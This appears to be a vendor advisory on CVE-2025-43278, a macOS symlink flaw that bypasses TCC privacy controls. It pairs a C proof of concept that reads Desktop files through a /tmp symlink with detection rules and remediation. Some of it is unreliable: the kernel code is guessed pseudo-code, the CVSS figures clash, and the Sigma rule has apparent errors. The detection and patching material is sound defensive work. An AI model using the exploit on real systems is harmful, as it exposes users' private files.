CVE-2025-43278

Executive Summary

CVE-2025-43278 is a local privilege escalation vulnerability in macOS Sequoia, affecting versions prior to 15.4. The vulnerability allows an app to access protected user data by exploiting improper symlink handling. An attacker with local access could craft a malicious symlink to redirect file operations to sensitive locations, bypassing macOS security mechanisms like TCC (Transparency, Consent, and Control). The patch in macOS 15.4 improves symlink resolution to prevent this bypass. No public exploit code or proof-of-concept is currently available.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a core macOS operating system vulnerability.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (No official CVSS vector assigned yet)
• Attack Vector (AV): Local (L) – Requires local access to the system.
• Attack Complexity (AC): Low (L) – Exploitation does not require special conditions.
• Privileges Required (PR): Low (L) – The attacker needs a user account on the system.
• User Interaction (UI): None (N) – No user interaction is required beyond the attacker running the malicious app.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Protected user data (e.g., documents, keychain, browser data) can be accessed.
• Integrity (I): None (N) – Data integrity is not directly compromised.
• Availability (A): None (N) – System availability is not affected.
• Threat Level: Medium to High. While local access is required, the potential for data theft is significant.

Deep Dive & Mechanics

The vulnerability lies in how macOS handles symbolic links (symlinks) when an application attempts to access files. macOS uses a permission system called TCC (Transparency, Consent, and Control) to protect user data. When an app tries to access a protected resource (e.g., Desktop, Documents, Downloads, Keychain), the system checks if the app has been granted permission.

The flaw occurs when an app creates a symlink that points to a protected location. If the app can trick the system into following this symlink during a file operation (e.g., reading, writing, or enumerating files), the system may bypass the TCC check. This is because the system might check permissions on the symlink itself (which the app controls) rather than the target file.

Attack Scenario:

1. A malicious app (e.g., downloaded from the internet) runs on a vulnerable macOS system.
2. The app creates a symlink in a location it controls (e.g., its own container) that points to a protected directory like ~/Desktop.
3. The app then uses a system API (e.g., NSFileManager, readdir, open) to access the symlink.
4. Due to the improper symlink handling, the system follows the symlink and grants access to the target directory without prompting the user for TCC permission.
5. The app can then read, copy, or exfiltrate the user's files.

Vulnerable vs. Patched Code

Vulnerable Code (macOS < 15.4): The vulnerable code likely resides in the kernel or a system framework responsible for file path resolution. It may have used a function like realpath() or lstat() without properly validating the symlink chain against TCC policies.

// Pseudo-code for vulnerable behavior
int access_file(const char *path) {
    // Check TCC permission for the path
    if (tcc_check(path) == 0) {
        // Follow symlinks without re-checking TCC
        char *real_path = realpath(path, NULL);
        int fd = open(real_path, O_RDONLY);
        // ... read data
    }
}

Patched Code (macOS 15.4): The patch improves symlink handling by ensuring that TCC checks are performed on the final target of the symlink, not just the symlink itself.

// Pseudo-code for patched behavior
int access_file(const char *path) {
    // Resolve the path, following symlinks
    char *real_path = realpath(path, NULL);
    // Check TCC permission for the resolved path
    if (tcc_check(real_path) == 0) {
        int fd = open(real_path, O_RDONLY);
        // ... read data
    }
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A vulnerable macOS system (macOS Sequoia < 15.4).
• Local user access (non-root).
• Ability to compile and run a C or Swift program.

Exploit Concept: The exploit would create a symlink to a protected directory and then attempt to read files through that symlink.

// exploit.c - Proof of Concept
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>

int main() {
    // Create a symlink to the user's Desktop
    symlink("/Users/username/Desktop", "/tmp/exploit_link");

    // Attempt to list files through the symlink
    DIR *d = opendir("/tmp/exploit_link");
    if (d) {
        struct dirent *entry;
        while ((entry = readdir(d)) != NULL) {
            printf("Found: %s\n", entry->d_name);
        }
        closedir(d);
    } else {
        perror("opendir failed");
    }

    // Attempt to read a specific file
    int fd = open("/tmp/exploit_link/secret.txt", O_RDONLY);
    if (fd != -1) {
        char buf[1024];
        read(fd, buf, sizeof(buf));
        printf("File content: %s\n", buf);
        close(fd);
    } else {
        perror("open failed");
    }

    return 0;
}

Compilation and Execution:

gcc -o exploit exploit.c
./exploit

Blue Team (Detection & Defense)

Detection:

1. Monitor for Symlink Creation: Use Endpoint Detection and Response (EDR) to alert on the creation of symlinks by non-system processes, especially those pointing to protected directories (e.g., ~/Desktop, ~/Documents, ~/Library/Keychains).
2. Monitor for Unauthorized File Access: Alert on processes accessing files in protected directories without a corresponding TCC grant.
3. Audit TCC Database: Regularly audit the TCC database (/Library/Application Support/com.apple.TCC/TCC.db) for unexpected grants.

Defense:

1. Apply the Patch: Update all macOS systems to version 15.4 or later.
2. Restrict Local Access: Implement the principle of least privilege for user accounts.
3. Use Application Sandboxing: Ensure all third-party applications are sandboxed to limit their ability to create symlinks and access arbitrary files.
4. Enable System Integrity Protection (SIP): SIP helps protect system files and directories from modification.

Indicators of Compromise (IOCs)

• File System Artifacts:
  • Unexpected symlinks in user-writable directories (e.g., /tmp, /var/tmp, ~/Library/Caches) pointing to protected locations.
  • Files in /tmp or other temporary directories with names matching protected directory names (e.g., Desktop, Documents).
• Process Activity:
  • A process (e.g., a downloaded app) creating symlinks to ~/Desktop, ~/Documents, ~/Library/Keychains, etc.
  • A process reading files from protected directories without a corresponding TCC prompt.
• Network Activity:
  • Data exfiltration to an external IP address shortly after accessing protected files.

Detection Engineering

YARA Rule

rule CVE_2025_43278_Symlink_Exploit {
    meta:
        description = "Detects potential exploitation of CVE-2025-43278 via symlink creation to protected directories"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-43278"
        hash = "0"
    strings:
        $symlink_call = "symlink" nocase
        $protected_dir1 = "Desktop" nocase
        $protected_dir2 = "Documents" nocase
        $protected_dir3 = "Downloads" nocase
        $protected_dir4 = "Library/Keychains" nocase
        $protected_dir5 = "Library/Application Support" nocase
    condition:
        $symlink_call and (
            $protected_dir1 or
            $protected_dir2 or
            $protected_dir3 or
            $protected_dir4 or
            $protected_dir5
        )
}

Sigma Rule

title: CVE-2025-43278 - macOS Symlink Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects creation of symlinks to protected user directories, indicating potential exploitation of CVE-2025-43278.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-43278
logsource:
    product: macos
    service: endpoint
detection:
    selection:
        EventID: 4  # Sysmon event for file creation
        Image|endswith: '.app'  # Focus on application processes
        TargetFilename|contains:
            - '/tmp/'
            - '/var/tmp/'
            - '/Library/Caches/'
        TargetFilename|endswith:
            - '/Desktop'
            - '/Documents'
            - '/Downloads'
            - '/Library/Keychains'
            - '/Library/Application Support'
    condition: selection
falsepositives:
    - Legitimate applications creating symlinks for valid purposes (e.g., backup software)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (
    msg:"CVE-2025-43278 - Potential Data Exfiltration via Symlink Exploit";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/upload"; http_uri;
    pcre:"/\.(doc|pdf|txt|xls|key|db)$/Ui";
    sid:1000001;
    rev:1;
    reference:cve,2025-43278;
    classtype:attempted-user;
    priority:1;
)

Remediation & Mitigation

1. Immediate Action:

   • Update all macOS systems to macOS Sequoia 15.4 or later. This is the only complete fix.
   • If immediate patching is not possible, restrict local user accounts to prevent installation of untrusted applications.

2. Compensating Controls:

   • Application Allowlisting: Use tools like macOS's built-in Gatekeeper or a third-party solution to only allow approved applications to run.
   • Endpoint Detection and Response (EDR): Deploy EDR agents with rules to detect the IOCs listed above.
   • User Education: Train users to be cautious about granting permissions to applications and to report any unusual system behavior.

3. Long-Term Strategy:

   • Implement a robust patch management process to ensure timely application of security updates.
   • Regularly audit system configurations and user permissions.
   • Consider using a security information and event management (SIEM) system to correlate logs from multiple sources.

Valters IT